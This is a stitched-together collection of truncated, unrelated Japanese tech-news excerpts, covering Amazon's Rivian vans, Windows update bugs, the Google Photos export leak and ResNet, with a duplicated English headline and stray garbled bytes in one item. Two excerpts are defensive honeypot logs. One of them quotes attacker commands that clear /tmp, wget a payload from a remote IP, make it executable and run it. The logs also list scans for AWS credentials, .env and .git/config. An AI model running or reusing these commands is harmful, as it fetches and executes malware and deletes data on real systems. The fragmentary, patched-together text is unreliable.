AmazonがRivianに10万台作らせるEV配達トラック。かなりカスタムされて、もちろんAlexaも搭載2020.02.05 23:0014,868 岡本玄介 配達員のことも考え、Alexaも搭載しています。 先日、Amazonが投資先であるEVメーカーRivianから、10万台の配送用EVバンを注文したことをチラっとお伝えしました。そして今、そのバンがどのように作られたもので、どんなデザインなのか、制作の過程が公開されています。 Video: Amazon News/YouTubeVRで仮想的に運転するテストも行なわれているんですね。これなら運転席の高さの感じや、ミラーの見やすさ、ピラーのジャマ臭さなどが体験でき、すぐまた修正作業に移ることができます。 3種類のサイズが作られる取り挙げたSLASH GEARいわく、バンは異なる作業に合わせて3種類のサイズが製造される予定とのこと。そし
パナソニック ~第1弾は、3/3 世界遺産・宇治上神社と宇治のまちなみウォーキング~ユニバーサルツーリズムの新しい提案【クラブツーリズム×ATOUN】 KNT-CTホールディングス株式会社(本社:東京都新宿区、社長 米田 昭正:以下、KNT-CT)とグループ会社のクラブツーリズム株式会社(本社:東京都新宿区、社長 小山 佳延:以下、CT)と株式会社ATOUN(本社:奈良県奈良市、社長 藤本 弘道:以下、ATOUN)は、ロボティクス技術を活用した歩行支援用の「着るロボット」=パワードウェア プロトタイプHIMICO(ATOUN提供)を用いた歩行サポートツアーを正式にコースラインアップに追加し、本日より発売いたします。 KNT-CT、CTとATOUNでは、昨年より「ツーリズムEXPOジャパン2019(2019年10月)」での「着るロボット」体験会や、10名限定で募集した実証実験を兼ねたツアー(
Microsoftは先日、Windows 10 Version 1903/1909用のオプション扱いの累積アップデートKB4532695を公開しました。 同更新プログラムではこれまでに、エクスプローラーの検索機能の修正が不十分だという指摘や、BSODが発生するという問題が報告されていますが、さらにサウンドやネットワークに関連した不具合も報告されていることが分かりました(Windows Latest)。 まずサウンドに関連した問題を報告しているユーザーは、更新プログラムをインストール後、すぐにサウンドが機能しなくなり、ドライバーを更新しようとしたもののスピーカーが認識されないというエラーが表示されると症状を説明しています。 またネットワークに関連した不具合に遭遇したユーザーは、更新プログラムをインストールするとネットワークが停止し、有線、無線両方のネットワークに影響を与えているようだと報告し
ハニーポット(仮) 観測記録 2020/02/04分です。 特徴 Location:JP PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス ThinkPHPの脆弱性を狙うアクセス クラウド環境のメタデータ情報を狙うアクセス AWS Security Scannerによるスキャン行為 zgrabによるスキャン行為 Apache Tomcatへのスキャン行為 Apache Solrへのスキャン行為 UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf .j; wget http:/\\/91[.]92[.]66[.]124/..j/.j; chmod 777 .j; sh .j; echo DONE cd /tmp; rm -rf *; wget http://175[
東芝は2020年2月3日、データを価値ある形に変え、実社会に還元する事業を行う新会社として「東芝データ」を設立したことを発表した。なぜ東芝はデータ専門子会社を設立したのだろうか。設立会見の質疑応答などの様子をお伝えする。 東芝は2020年2月3日、データを価値ある形に変え、実社会に還元する事業を行う新会社として「東芝データ」を設立したことを発表した。なぜ東芝はデータ専門子会社を設立したのだろうか。設立会見の質疑応答などの様子をお伝えする。 「データ2.0」の時代に勝機を 新たに発足した東芝データは、東芝グループの持つセキュリティ技術とノウハウを基盤に、人々の購買動向、健康データ、人材データ、行動データなど、実社会で収集したデータを高度なデジタル技術で分析し、活用しやすい情報や知識へ加工して実社会に還元することで新たなビジネス創出を実現することを目指すとしている。新会社の代表取締役CEOには
Snowflakeは2020年2月4日、「Amazon Web Services」(AWS)の東京リージョンでデータウェアハウスサービス「スノーフレイク」の提供を開始すると発表した。これによって日本のユーザーは、2019年11月に設立した同社の日本法人のサポートを受けられるようになる。 クラウドデータの国内保管が可能に スノーフレイクは、ビッグデータの保管や分析サービスを提供するデータウェアハウスのクラウドサービス。構造化データだけでなく半構造化データにも「完全なリレーショナルデータベース機能を提供する」としている。コンピュートやストレージ、クラウドサービスに関して、個別にスケーリングや変更が可能だ。 多くのBI(Business Intelligence)やELT(Extract/Load/Transform)ツール、ETL(Extract/Transform/Load)ツールに対応する
「builders flash」の記事は誰でも読むことができますが、無料のメール会員に登録した人には、毎月の最新アップデート情報の提供に加えて、AWS無料クーポンプレゼント、デベロッパーやスタートアップ向けイベントへの優先申し込み、AWS Summit Tokyo/Osakaのセッション優先申し込み、AWS Loft Tokyoにおけるメールメンバー限定ワークショップ開催、各種ハッカソンへの招待――といった特典を提供するとのことです。 AWSジャパンは1月20日に行った発表会で、2021年初頭に大阪リージョンを開設することを明らかにしたのと合わせて、今年の注力分野の1つとしてスタートアップやデベロッパーへの支援強化を挙げました。「builders flash」はその取り組みの1つで、今後は学生対抗ロボコンの開催など、さらなる施策も実行する予定です。 関連記事 AWS、大阪に通常リージョン開
三井不動産は、全国で展開する法人向けシェアオフィス「ワークスタイリング」で、会員企業との協業を加速する。1月30日にオープンした旗艦拠点「ワークスタイリング日本橋三井タワー」(東京都中央区)では17社と連携。アイデア創出を支援するITサービスを導入した部屋や、プレゼンに最適な照明を備えた部屋などをつくった。新製品などのテストマーケティングの場としても活用してもらう。 「つながり」でビジネスを支援 ワークスタイリングは、2017年にサービスを開始。全国に47拠点を展開しており、会員企業数は500社、登録会員数は10万人を超えている。20年3月には50拠点まで増やす計画だ。会員が時間単位で利用できる「SHARE」と、スタートアップ企業や支店などの拠点として使えるレンタルオフィス「FLEX」の2タイプがある。SHAREは全拠点にあり、FLEXを併設している拠点が6カ所ある。 拠点や会員企業の数が
自治医科大学発のAIベンチャー・DeepEyeVisionは2月5日、ディープラーニングを活用し、網膜などを映した「眼底画像」を診断するクラウドサービスの提供を、医療機関向けに始めた。AIを活用することで、眼科診断の速度や精度向上をサポートする。 医療機関が、診察時に撮影した眼底画像をアップロードすると、AIが画像を解析。DeepEyeVisionと提携する、眼底画像の診断を行える読影医がAIの解析結果を確認し、診断結果を医療機関に送る。診断支援サービスを使うことで、医療機関は読影医を雇う手間が省け、人件費も削減できるとしている。 AIの学習データには、自治医大が持つ臨床画像を活用した。糖尿病網膜症の病期を分類する技術や、角膜が円すい状に突出する「円すい角膜」を診断する技術などを用いて、精度の高い病名予測を実現したという。 同サービスは、自治医科大学附属病院 健診センターなどが先行導入して
Appleが折りたたみ可能なディスプレイを搭載したデバイスの新たな特許を取得したことがわかりました。米国特許商標庁(USPTO)が現地時間2月4日、特許を公開しています。 折りたたみスマホが抱える問題とは 折りたたみ可能なスマートフォンといえば、すでにSamsungの「Galaxy Fold」、Huaweiの「Mate X」が販売中ですが、どちらも(特にGalaxy Fold)ディスプレイの折り曲げ部分に折り目やしわのような跡がつくとの指摘がありました。 Motorolaの新しい折りたたみ可能なRazrは独自デザインのヒンジを採用していますが、初期製品のレビューワーから開閉時に耳障りな音がするというコメントが出ています。 Appleは独自のヒンジを考案 「柔軟なディスプレイとヒンジを搭載した電子デバイス(Electronic devices with flexible displays a
NTTグループのNTTテクノクロスが2月4日、企業がブロックチェーンを活用した実証実験を支援するサービスを3月に開始すると発表した。 アマゾンのクラウドサービスAWSを用いてBaaS(ブロックチェーン・アズ・ア・サービス)として提供するもので、ブロックチェーン上のデータを可視化するツールや、ブロックチェーンで電子チケットを管理するツールとともに提供する構想。 現在、クラウドを用いたブロックチェーンの活用が盛んになりつつあり、マイクロソフトやIBM、アマゾン、オラクルなどは既にBaaSとして提供。日本でもLINEが2020年にもBaaSを提供するとしている。 ブロックチェーンでチケット利用者の本人照合を可能に NTTテクノクロスは旧NTTソフトウェアで、情報通信システム・ソフトウェアの研究開発、運用、コンサルティングなどを行っているICT企業。 新サービス「ContractGate PoC
2020年1月に世界的な決済ネットワークを提供しているVISAがPlaidを買収したことが話題になりました。 VISAは米国株の中でも注目のFinTech企業で、株価も収益も右肩上がりです。 @] ��U`�d��U日本でも、VISAの決済ネットワークは浸透しており身近な米国株銘柄のひとつです。 しかしPlaidは聞いたことがない方も多いのではないでしょうか。 Plaidは米国では4人に1人が利用している便利な金融サービスを提供しており、VISAの傘下に入ることで相乗効果が期待できます。 本記事ではVISAが買収したPlaidとはどのような企業なのかを解説し、Plaid買収後のVISAの展開を予想します。
Image credit: StyleShare <ピックアップ> 쇼퍼블 콘텐츠 기업 ‘스타일쉐어’, 250억 규모 투자 유치 韓国発のショッパブルコンテンツ(「見たものをすぐに購入できる」ユーザ体験をもたらすコンテンツの意)スタートアップ StyleShare(스타일쉐어)は、StoneBridge Capital などから250億ウォン(約23億円)規模の資金を調達した。KB 証券と StoneBridge Capital がリードした今回のラウンドには、Premier Partners、SBI Investment、Mirae Asset Venture Investment、Mirae Asset Capital などが新たに参加した。既存投資家である KTB Network、IMM Investment、StoneBridge Ventures、LB Investment
Photo by Patrick De Boeck on Pexels.com 少子高齢化社会において「介護」という機会を避けて通ることのできる人はわずかです。 厚生労働省が公表している平成29年度の調査(参考資料:PDF)によれば、高齢者(65歳以上)の数は約3500万人(平成30年3月末時点)。人口動態からも分かる通り増加の一途を辿っています。一方、要介護と認定されている方の数も同じく増加を続けており、641万人が支援を必要としています。 今、世の中には便利な情報が溢れています。 もし、自分の家族がこういった支援を必要とする立場になったら、「介護 方法」といったキーワードで検索するだけで、沢山の情報が手に入ります。まずは公的な機関の窓口で要介護認定を受け、実態調査を受けます。そこからケアマネージャーという介護の専門家と一緒にケアプラン(計画書)を作成して介護サービスを受ける、というのが
Image Credit: SuperAwesome インターネットが子供の健康を危険にさらしていることを多くの人々が認識するようになってから、企業はさまざまな脅威に取り組み始めている。 「SuperAwesome」は、各ブランドが子供たちに「安全な」コンテンツを提供できるようにするプラットフォームであり、子供を守るデジタルサービスとして代表的な例であろう。同社はロンドンに拠点を置き、Mattel、Lego、NBC Universal、Hasbroなどの有名クライアント企業を持ちながら、世界中で5億人の子供たちにサービスを提供している。 SuperAwesomeは、昨年2月に1,300万ドルのトランシェを含む約4,100万ドルを調達した。そして1月27日、Microsoftが運営するM12 Venture Fundを通じて新たな調達をしたことを明らかにした。投資額は公表しなかったが、M12
AI(人工知能)を使った技術分野には言語処理や意思決定支援などさまざまなものがありますよね。その中でも顔認証をはじめとした「画像認識」は、特に注目されています。 実際にAI(人工知能)を使った画像認識は広まりを見せており、これまでありとあらゆるところで導入、活用されてきました。もともと画像認識の技術は業務がより効率的にできるように支援する、安全安心で豊かな生活を送る基盤になるなど、画像認識は私たちの見えないところでも、そして見えるところでも使われています。どんな使われ方をしているかを知っておくと、今後私たちの生活でも役立つかもしれません。 そこで今回は、AI(人工知能)を使った画像認識の活用事例などについてお伝えします。まず、ディープラーニング(深層学習。現在のAI(人工知能)に重要なコンピュータの学習方法の一つ)を使った画像認識とはそもそもどのような技術であるか確認しましょう。
ResNet(レズネット)とは コンピュータビジョンでは2012年のAlexNetを皮切りに様々な畳み込みニューラルネットワーク(Convolutional Neural Network; CNNとも呼ばれます)のモデルが提案されてきました。なかでもResNetは2015年にMicrosoft Researchによって提案されて以降、画像認識分野で最も成功を収めたモデルのひとつと言えます。 その貢献は非常に大きく、2015年以降の最も精度の出ているCNNモデルのほとんどはResNetを元に改良を加えたモデルと言っても過言ではなく、Kaggleなどのデータサイエンティスト向けのコンペティションでもResNetの改良モデルが上位の多くを占めています。 ResNetのすごさ 2015年当時、画像認識において一般的にCNNの層の数を増やせば増やすほど、モデルが高次元の特徴を獲得していくということは
OpenAI co-founder and Chief Scientist Ilya Sutskever is leaving the company
OpenAI co-founder and Chief Scientist Ilya Sutskever is leaving the company
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By Lucian Alexe ウェブブラウザを経由して、PCに接続されたUSBデバイスに直接アクセスすることができるAPI、「WebUSB」は、2016年にGoogleのエンジニアらによって開発されました。2017年にはGoogle Chromeで正式にサポートされていますが、「WebUSBにはいくつか問題点がある」として、チュニジアのITコンサルタントであるハテム・ベン・ヤコブ氏が語っています。 WebUSB is dead | HBY Consultancy http://www.hbyconsultancy.com/blog/webusb-is-dead.html 2018年頃からWebUSBを使い始めたというヤコブ氏は、「WebUSBは既にGoogle Chromeでサポートされており、素晴らしいと思っていました。ですが、残念ながらうまく機能したデバイスはごくわずかでした。 2年
By geralt GoogleのクラウドストレージアプリであるGoogle フォトやYouTubeなどのデータをダウンロードできる「Google Takeout(Google データ エクスポート)」で、「Google フォトに保存されているムービーが他のユーザーに転送されてしまう」不具合が発生していたと判明しました。 Google Photos video backups sent to strangers last year - 9to5Google https://9to5google.com/2020/02/03/google-photos-video-strangers/ Nightmare Google Photos bug sent private videos to the wrong people | Ars Technica https://arstechnica.c
GoogleのARグラスであるGoogle Glassの最新モデルとなる「Glass Enterprise Edition 2」が、販売業者から直接購入可能となりました。 Google Developers Blog: Glass Enterprise Edition 2 now available for developers https://developers.googleblog.com/2020/02/glass-enterprise-edition-2-now.html Google opens its latest Google Glass AR headset for direct purchase - The Verge https://www.theverge.com/2020/2/4/21121472/google-glass-2-enterprise-edition
by Takuya Oikawa 大手半導体メーカーのIntelは2019年11月、AI向けチップである「Nervana」シリーズを正式に発表しました。ところが、正式発表からわずか2カ月後の2020年2月、IntelはNervana製品の開発を中止し、2019年12月に買収したイスラエルのAIチップメーカー「Habana labs」の製品に注力すると発表しました。 Intel Axes Nervana Just Two Months After Launch | WikiChip Fuse https://fuse.wikichip.org/news/3270/intel-axes-nervana-just-two-months-after-launch/ Intel Officially Axes Nervana | EE Times https://www.eetimes.com/in
ウェブブラウザ「Google Chrome」の最新安定版であるバージョン80.0.3987.87がリリースされました。Google I/O 2019で発表されていた通り、標準設定ではサードパーティーCookieを送信しなくなったほか、迷惑な通知要求ポップアップを自動でブロックする機能や、JavaScriptがより書きやすくなるオプショナルチェイニングという記法が導入されています。 Chromium Blog: SameSite Cookie Changes in February 2020: What You Need to Know https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html New in Chrome 80: Module Workers, Optional Chaining, N
アリアンツ生命保険がアリアンツ・グループの持株会社であるアリアンツエスイーとその100%子会社であるアリアンツ生命、ならびにイオンフィナンシャルサービスが生命保険事業についての合弁契約に合意したことを発表した。 合弁契約の一環として、イオンフィナンシャルサービスはアリアンツ生命の株式の60%を取得。アリアンツ生命は来月末に同社の子会社となる。 従来より、グループ各社との協業を踏まえた生命保険事業への参入を検討していたイオンは、今回のアリアンツ生命の子会社化により、本格的に生命保険事業をスタート。 健康改善提案などをイオングループ各社と行うことで、利用者の未病・予防に対する健康増進活動の実施などを予定しているという。 なお、アリアンツ生命は2012年1月より新規契約の取り扱いを休止しているが、すでに保険商品に加入している利用者の契約内容に変更はないとのことだ。 また、今回の決定はアリアンツ生
東京地下鉄(東京メトロ)は2月4日、ベイシスコンサルティングや、東京大学大学院情報学環ユビキタス情報社会基盤研究センターの協力のもと、非GPS環境下でのトンネル検査におけるドローンの運用を、2月6日から半蔵門線で開始すると発表した。実施場所は、半蔵門線トンネルの開口部、立杭、トンネル上部。 さらに、本郷飛行機と共同で、自律飛行型ドローンの開発に着手する。本郷飛行機は、高速画像処理技術による自律制御を用いた屋内/屋外飛行など、自動飛行の技術開発を中心に行っている。機体の最適な部品設計から運用システムまで幅広い技術開発領域に精通しており、トータルソリューションとしての開発が可能だという。 同社によると、これまでトンネル内の構造物の状態を確認する検査は、目視で実施していたが、今後その検査の一部にドローンを活用する。これにより、従来の目視より効果的に確認可能にほか、ドローンによる検査データの蓄積な
ASCII STARTUP システムフォレスト、石垣島製糖株式会社へIoTを導入 電源のないサトウキビ畑で雨量を可視化し、最適な収穫タイミングの予測が可能に 株式会社システムフォレスト 株式会社システムフォレスト(本社:熊本県人吉市、代表取締役:富山孝治、以下システムフォレスト)は、石垣島製糖株式会社(本社:沖縄県石垣市、代表取締役:松林 豊、以下石垣島製糖)が今まで手作業で観測していたサトウキビ畑の雨量のデータ収集にIoTを導入し、運用を開始した事をお知らせいたします。 本事業は、今まで手作業で測定していた、サトウキビ畑の雨量をIoTの技術を活用し「自動で収集・可視化」することにより、サトウキビの最適な収穫のタイミングを予測することで、収穫機の計画的な稼働や、工場現場作業の効率化を可能とするものです。 また、本事業では株式会社ソラコムが提供する「SORACOM Air for Sigfo
CBcloud株式会社 ~ モノのMaaS実現に向け一般貨物領域のマッチングにも進出 ~ ITを活用し運送業界における新たな価値の創出を目指すCBcloud株式会社(本社:東京都千代田区、代表取締役CEO:松本隆一、以下「CBcloud」)は、2020年2月5日より、フリーランスドライバーと荷主を即時につなぐ配送マッチングプラットフォーム「PickGo」のサービス領域を拡大し、荷主と一般貨物自動車運送事業者つなぐ新サービス「PickGo一般貨物」(仮称)の提供を本格開始いたしますので、お知らせいたします。 CBcloudは、「PickGo」を活用し、陸空海の各輸送手段を組み合わせ、荷主と最適な輸送手段をシームレスかつ瞬時につなぎ、“モノのMaaS”(Mobility as a Service)を実現するプラットフォームの構築を目指しております。2016年6月には、フリーランスドライバーの労
凸版印刷は、ごみの投入に反応して付属のサイネージに映像を表示するゴミ箱「PoyPort(TM)(ポイポート)」を開発した。 このゴミ箱を用いることで、クーポン発行やイベント情報、環境への取り組みなど、さまざまな情報発信を映像で表示可能になるという。 具体的には、利用者がごみを捨てたことに連動して、くじやルーレット、懸賞などの映像を表示するなど、インタラクティブな演出を行うことが可能になる。 また、複数の捨て口にセンサーを設置することで、捨てられた日時や、どちらの捨て口に捨てたかのログデータが取得でき、ごみ箱を効果的に活用可能としている。 付属サイネージでは多言語での情報発信もでき、訪日外国人向けコンテンツの配信もできるとのことだ。 「東京オリンピック・パラリンピック競技大会」の開催を控え、イベント会場や観光地などに向けて2020年2月5日より販売開始する予定。 同社は今後、「PoyPort
医療相談アプリ「LEBER(リーバー)」を運営するAGREEが、受託臨床検査事業のSRLを傘下に持つみらかホールディングス、凸版印刷、DeNAを母体とするデライト・ベンチャーズなど計12者からの第三者割当増資により、総額4.3億円の資金調達を完了したことを発表した。 LEBERとは、医師が症状に合った「近隣の医療機関のMAP表示」や「市販薬の紹介」を行うドクターシェアリングアプリ。症状に合わせた自動問診システムを採用しており、複数アカウントの作成が可能で家族の相談も可能な他、企業への福利厚生や、保育園・高齢者施設への医療相談サービスにも対応可能となっている。 同社は今回の資金調達により、医療機関の外において保険を使用しないサービスを新設・拡充予定。 個人ユーザー向け月額定額サービスの新設や、法人向けAI産業医の開発、自動的に社員のメンタルヘルスや健康を気遣うAI産業医の開発・販売、自治体向
印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます Amazon Web Service(AWS)は、「Amazon Polly」サービスの最新機能である「Brand Voice」を発表した。同社によると、Brand Voiceを利用することで、企業はニューラルテキスト読み上げ(NTTS)テクノロジーを使って、音声をブランドのペルソナに合うように調整できるという。 AWSのオーストラリアとニュージーランドのテクノロジー責任者を務めるPeter Stanski氏は米ZDNetに対して、「競争の激しいデジタル分野では、顧客のブランド体験の一部として、音声が非常に重要になっている。そこで、われわれは、製品とサービスの一端を象徴するような非常にユニークでローカルなアイデンティティを作り出す機会を
ビットキーは2月5日、楽天、東急、Yperとともに、オートロック付きマンションにおける置き場所指定配達「置き配」サービスの拡大について検証する実証実験を開始した。 実証実験では、楽天が参加している環境省委託事業で実施する「CO2排出量削減効果のある新たなラストワンマイル配送モデルの実証実験」について、2月5~29日までの期間、東急が運営する神奈川県川崎市のオートロック付きマンションを対象物件として検証するもの。 ビットキーによると、再配達問題の一助として置き配が注目されるものの、エントランスにオートロック機能があるマンションにおいては、宅配先の住人不在時にマンション内に入れないため、置き配サービスが提供できない現状にあるという。 実証実験では、対象物件のエントランスに、ビットキーのスマートロック「bitlock GATE(ビットロックゲート)」とそれに対応する端末、とYperの簡易宅配ボッ
「子供たちの貧困問題を何とかしなければ」「環境問題に対して何か具体的な対策が必要だ」。近年、世界が抱える問題に対し、様々な意見が交わされている。 2015年9月の国連サミットで採択された持続可能な開発目標SDGs(Sustanable Development Goal)をご存じだろうか。17のゴール・169のターゲット(具体目標)で構成され、地球上から誰ひとりとして取り残さないことを掲げる2016年~2030年までの国際目標だ。 SDGsについてどのような取り組みが行われているのか、また私たちがどのようにして向き合っていけばよいのかわからない人は多いのではないだろうか。 株式会社笑下村塾でSDGsを広める活動を行っているたかまつなな氏は、「SDGsは17個の目標であり、行動しなければ意味がない」と語る。 地球温暖化や環境破壊が続く現代で、私たちができるSDGsの取り組みについてたかまつ氏に
Google製アプリのデータをダウンロードするためのツール「Googleデータエクスポート」で、一部のデータが行方不明になる問題が2019年11月に発生していたことが分かった。9to5Googleが先に報じたように、このツールを使用して11月21~25日の間に「Googleフォト」の動画をダウンロードした場合、その一部が赤の他人のアーカイブに保存されている可能性がある。 「それらのユーザーは、不完全なアーカイブか、自分のものではない動画(写真は含まれない)を受け取っている可能性がある」と、Googleの広報担当者は電子メールによる声明で述べた。「根底にあった問題を修正し、再発防止に向けて詳細な解析をした。このようなことが生じて大変申し訳ない」 Googleは米国時間2月3日に、ユーザーにこの問題を通知し、影響を受けたユーザーに対して、これまでのエクスポートを削除してエクスポートをやり直すよ
印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます Googleは米国時間2月4日、開発者や企業が「Glass Enterprise Edition 2」を特定のハードウェア販売業者から直接購入できるようにしたと発表した。これまで、この製品に興味を持った法人顧客はGoogleのパートナー企業と協力し、特定のニーズに見合ったスマートメガネ用のカスタムソフトウェアを開発する必要があった。 Google Glassは当初、コンシューマー向け製品として登場したが、Googleは2017年に企業向けの拡張現実(AR)のメガネ型デバイスとしてよみがえらせた。2019年5月には、Glass Enterprise Edition 2を発表している。物流や製造業、フィールドサービスなど広範な分野で利用され
Alphabet傘下のJigsawは、写真が本物か細工されたものかを判断するのに役立つ実験的ツール「Assembler」を開発した。ディープフェイクをはじめとする情報を操作して真実を歪めようとする試みに、ジャーナリストやファクトチェック担当者が対抗するのを支援する取り組みだ。Assemblerは多数のテストで構成され、写真の一部をほかの写真に貼り付けたり、明るさを編集したり、背景から領域を削除したりした痕跡を検出する。 Jigsawは、情報工作、ハラスメント、検閲、暴力的な過激思想、選挙工作といった諸問題のデジタル面に対処する目的で、Alphabetがエンジニア、デザイナー、研究者、ポリシー専門家などを集めたチームだ。 人工知能(AI)の深層学習で作ったディープフェイクと呼ばれる写真や動画を含むオンライン上の情報操作については、新たなツールによってそうした偽造が容易になる中、懸念が高まって
『MarkeZine』が主催するマーケティング・イベント『MarkeZine Day』『MarkeZine Academy』『MarkeZine プレミアムセミナー』の 最新情報をはじめ、様々なイベント情報をまとめてご紹介します。 MarkeZine Day
Stephanie Condon (ZDNET.com) 翻訳校正: 村上雅章 野崎裕子 2020-02-05 06:30 データの隆盛とコンピューティングの進歩のおかげで今後の10年間は人工知能(AI)が長足の進歩を遂げることが約束されている。Googleは先週、「AIファースト」企業として同社が追い求めている、AIのさまざまなリサーチプロジェクトを披露した。これらプロジェクトのなかには、翻訳関連のリサーチをはじめとして、既にアプリケーションとして実現しているものもある。その一方で、インタラクティブな繊維といったプロジェクトでは実用的なユースケースはまだ明確なものとはなっていない。 Google AIの責任者Jeff Dean氏によると、同社のAIリサーチャーらはすべてのプロジェクトにおいて、より大きなビジョンに注力しているという。 同氏はGoogleのサンフランシスコオフィスで記者らに
2019 年5月にSpreadyのサービスを開始した佐古雅亮社長(右)と共同設立者の柳川裕美氏。 撮影:横山耕太郎 「飲食店オーナーとつながりのある方に会いたい」「新サービスについてフィードバックしてくれませんか」「スタートアップの広報について相談したい」……。 人と企業をつなげるサービス「Spready(スプレディ)」には、こんな募集が並んでいる。 スプレディは、企業の募集に自分で応募するのではなく、登録ユーザー同士が企業に適した友人や知人を紹介するサービスで、2019年5月にサービスを開始して以来、これまでに800件以上の紹介が成立している。 スプレディは、人材確保に課題を抱える企業が、雇用以外の手段で外部の人材の力を借りられるほか、登録ユーザー側も社外で自分のスキルを役立てることができる。企業と個々をつなぐ新しい形として注目されており、副業や転職を考えるきっかけにもなっている。
印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 日本マイクロソフトは2月4日、文部科学省(文科省)の生徒1人当たり1台のPCと大容量ネットワーク整備を目的とした「GIGAスクール構想」への賛同を表明し、PCメーカー8社と共同で「GIGAスクールパッケージ」を提供すると発表した。記者会見した執行役員 常務 パブリックセクター事業本部長の佐藤友成氏は、「自治体の首長からも強い要望をいただいている。日本全体の期待に応えられるよう、OEM各社と提供環境をそろえたい」と意気込みを語った。 文科省は、2019年12月19日に1回目の「GIGAスクール実現推進本部」を開催した。「『ハード』『ソフト』『人材』が一体となった施策を推進することが必要。子どもたちのための環境整備」(萩生田光一文部科学大臣
ハニーポット(仮) 観測記録 2020/02/03分です。 特徴 Location:JP Shenzhen TVT製品の脆弱性を狙うアクセス クラウド環境のメタデータ情報を狙うアクセス AWS Security Scannerによるスキャン行為 /.aws/credentialsへのスキャン行為 18[.]179[.]20[.]5に関する不正通信 を確認しました。 Location:US Shenzhen TVT製品の脆弱性を狙うアクセス /.envへのスキャン行為 /.git/configへのスキャン行為 を確認しました。 Location:UK NetGear製品の脆弱性を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス Shenzhen TVT製品の脆弱性を狙うアクセス ThinkPHPの脆弱性を狙うアクセス /.aws/credentialsへのスキ
撮影した写真や動画の保管や整理に役立つ「Google フォト」ですが、プライベート動画が誤って第三者によってダウンロードされた可能性があることが明らかになりました。 動画がランダムなユーザーと共有されてしまったかも 2019年11月21日〜25日の期間にGoogle フォトで「データをダウンロードする」を使用したユーザーは、第三者のプライベート動画を意図せずダウンロードしてしまった可能性があります。 Twitterユーザーのジョン・オーバーハイデ氏(@jonoberheide)がGoogleから受け取ったメッセージには、以下のように記されています。 Googleが影響を受けた技術的問題についてお知らせしています。 あなたが、2019年11月21日と2019年11月25日の間にGoogle フォトの「データをダウンロードする」を使用した記録が残っています。 残念ながらこの度、Google フ
1月27日週にかけて発生したセキュリティに関する出来事や、サイバー事件をダイジェストでお届け。 NECの防衛事業部門に不正アクセス 日本電気(NEC)は1月31日、同社の防衛事業部門で利用している社内サーバーの一部が、第三者による不正アクセスを受けたと発表した。調査の結果、情報流出による被害は確認されていない。 不正アクセスは2016年12月以降に行われており、セキュリティ企業の脅威レポートに記載された通信パターンの発生有無を確認したところ、社内PCからの不正通信を確認。当該PCを隔離・遮断し、調査していた。 2018年7月には、外部サーバーと不正通信をしていた暗号化通信の解読に成功。NECの防衛事業部門で利用しているサーバー(他部門との情報共有用)のファイルに対する、不正アクセスの存在が明らかになった。不正アクセスされたファイルは27,445件に上ると見られている。 NECによると、これ
シリコン・ラボラトリーズは2020年1月、Bluetooth 5.2に対応した新しいSoC(System on Chip)「EFR32BG22」を発表した。同社のIoT(モノのインターネット)プラットフォーム「Wireless Gecko Series 2」の最新モデルで、セキュリティ機能やワイヤレス性能、エネルギー効率に優れ、高性能のソフトウェアツールやスタックを備える。 コイン型電池で最高10年駆動 EFR32BG22は、超低送受信電力を実現しており、送信時消費電流は0dBmで3.6mA、受信時消費電流は2.6mAに抑えられている。また、搭載しているArm Cortex-M33コアも消費電力が動作時27μA/MHz、待機時1.2μAと低い。このため、コイン電池の寿命を最大10年まで延ばすことができる。 この長いバッテリー寿命を生かせるような用途を含め、EFR32BG22にはスマートホー
ソシオネクストは2020年1月、Foxconn Technology Groupおよび、Network Optixと共同で、「エッジAIソリューション」を開発したと発表した。工場や商業施設などにおいて、複数のIPカメラで撮影した入力映像を高速処理し、物体や人物などをリアルタイムに認識することが可能となる。 ソシオネクストとFoxconnが共同開発したエッジAIサーバ「BOXiedge」は、小型でファンレス構造となっており、さまざまな用途で活用することができる。BOXiedgeには、Arm Cortex A53を24コア搭載したプロセッサSoCや、AIアクセラレーターカードが実装されており、処理能力は20TOPS(Tera Operations Per Second)を超えるという。筐体の外形寸法は200×200mm(1U)で、消費電力は30W(代表値)と少ない。 また、「Caffe」や「T
「LCR部品」の「L」はインダクタンスを意味する 電子情報技術産業協会(JEITA)が発行した「2019年度版 実装技術ロードマップ」に関する完成報告会(2019年6月4日に東京で開催)と同ロードマップの概要をシリーズでご報告している。今回はその第32回である。 本シリーズの前回から、第4章「電子部品」の概要を説明している。第4章「電子部品」は、「4.1 LCR部品」「4.2 EMC対策部品」「4.3 センサ」「4.4 コネクタ」「4.5 入出力デバイス」の5つの節に分かれる。前回は2019年度版における「4.1 LCR部品」の更新内容を、2017年度版と比較しながら説明した。今回は、「4.1 LCR部品」の第1項「4.1.1 インダクタ」の概要を解説する。
立山科学工業は、「オートモーティブ ワールド2020」(2020年1月15~17日、東京ビッグサイト)で、独自の全方位レンズを用いることで可動部なしで360度スキャンを実現した、Flash LiDARシステムを参考展示した。 高さ方向のひずみなく360度画像を取得 同社は、独自のレンズ加工によって360度均一な画像を取り込める全方位レンズ「PALNON(パルノン)」シリーズを有しており、これまでセキュリティカメラ用途などで展開してきたが、「近年のAI(人工知能)やセンシング技術の進化によって、大きく用途が拡大できる」(同社説明担当者)と見込み、今回、Flash LiDAR用として新たなPALNONレンズを開発。同じく自社で開発するFlash LiDARユニットと合わせ、FA(ファクトリーオートメーション)や車載などへの市場を狙って提供していく予定という。
フランスは、“起業家による起業家のための活動”を支援するイニシアチブ「La French Tech(フランステック)」を推進し、新興企業の再生に取り組んでいる。 フランスは、“起業家による起業家のための活動”を支援するイニシアチブ「La French Tech(フランステック)」を推進し、新興企業の育成に取り組んでいる。 このLa French Techとは一体どのような施策なのだろうか。 La French Techは、フランス政府が2013年に始動したイニシアチブで、新興企業の成長と活動に貢献することが可能なあらゆる人材として、投資家やエンジニア、開発者、学生、団体、政策立案者、コミュニティー起業家などを結集することを目指す。その主な使命は、フランスの新興企業の海外進出を推進し、外国の起業家や優れた人材をフランスに呼び寄せることにある。 La French Techのエコシステムは、こ
